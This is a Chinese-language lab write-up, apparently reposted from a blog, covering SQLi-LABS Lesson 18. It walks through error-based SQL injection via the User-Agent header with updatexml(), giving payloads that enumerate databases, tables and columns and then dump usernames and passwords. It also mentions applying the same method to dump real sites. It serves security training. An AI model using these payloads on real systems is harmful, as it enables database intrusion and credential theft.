SQLi LABS Less-18

本文阅读 3 分钟
首页 安全分享,WEB安全 正文

第十八关请求方式为 GET请求 , 注入点为 User-Agent , 注入方式为 错误注入

 

第一步,判断注入方式

 先看源码

img

img

 后台代码对 特殊字符进行了过滤 , 常规的注入方式行不通 , 只有通过代码审计来判断注入方式

 imgimg

 登录成功后 , 有一个保存用户主机信息的SQL语句 , 并且没有对参数进行过滤 , 我们可以针对这个SQL进行错误注入

真实场景中 , 我们可以先注册一个账号进行登录 , 登录成功后通过User-Agent 进行错误注入 , 从而实现脱库

使用 Burp 工具进行代理拦截 , 修改 User-Agent

User-Agent: ' and updatexml(1,'~',3) and '

updatexml() 的第2个参数如果包含特殊符号就会报错 , 利用其报错信息可获取数据库信息

img

 img

页面返回了我们插入的报错信息 , 固 存在错误注入

 

第二步,获取所有数据库

 查询information_schema默认数据库的schemata表的schema_name字段 , 该字段保存了所有数据库名

User-Agent: ' and updatexml(1,concat('~',
substr(
(select group_concat(schema_name) 
from information_schema.schemata),50,31)
),3) and '

 concat() , 可将结果拼接指定字符 , 目的在于触发错误

group_concat() , 可将多行结果合并为一行 , 目的在于方便展示

sunstr() , 用来截取字符串 , updatexml()返回结果的字符串长度限制为32 , 需要多次截取来获取完整结果

注意: User-Agent 的参数中 不要包含空格

img

下一步 , 根据security数据库 获取其所有表

 

第三步,获取所有表

查询information_schema默认数据库的tables表的table_name字段 , 该字段保存了所有表名

User-Agent: ' and updatexml(1,concat('~',
substr(
(select group_concat(table_name) 
from information_schema.tables 
where table_schema='security')
,1,31)
),3) and '

注意 : User-Agent 参数中 不要有空格

img

users表为用户表 , 下一步根据users表 获取其所有字段

 

第四步,获取所有字段

查询information_schema默认数据库的columns表的column_name字段 , 该字段保存了所有字段名

User-Agent: ' and updatexml(1,concat('~',
substr(
(select group_concat(column_name) 
from information_schema.columns 
where table_schema='security' and table_name='users')
,1,31))
,3) and '

注意 : User-Agent 参数中不要有空格

img

 

第五步,获取账号密码

User-Agent: ' and updatexml(1,concat('~',
substr(
(select group_concat(username,'~',password)
from security.users)
,1,31))
,3) and '

img

 

 

 

 

本文为互联网自动采集或经作者授权后发布,本文观点不代表立场,若侵权下架请联系我们删帖处理!文章出自:https://blog.csdn.net/wangyuxiang946/article/details/118115291
-- 展开阅读全文 --
BUUCTF Web [极客大挑战 2019]Knife
« 上一篇 06-24
安全面试之XSS(跨站脚本攻击)
下一篇 » 07-24

发表评论

成为第一个评论的人

热门文章

标签TAG

最近回复